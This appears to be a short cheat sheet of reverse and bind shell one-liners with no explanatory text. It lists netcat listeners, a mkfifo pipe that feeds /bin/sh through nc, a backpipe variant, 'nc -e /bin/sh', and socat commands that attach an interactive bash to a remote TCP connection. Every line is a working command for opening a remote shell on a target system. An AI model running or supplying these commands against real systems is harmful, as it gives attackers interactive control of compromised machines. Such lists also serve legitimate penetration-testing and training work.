nc -knvl $PORT
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -l $HOST $PORT > /tmp/f
/bin/sh -c "/bin/sh 0</tmp/backpipe | nc $HOST $PORT 1>/tmp/backpipe"
nc -nvlp $PORT
nc $HOST $PORT -e /bin/sh
socat file:`tty`,raw,echo=0 tcp-listen:$PORT
socat tcp-connect:$HOST:$PORT exec:'bash -li',pty,stderr,setsid,sigint,sane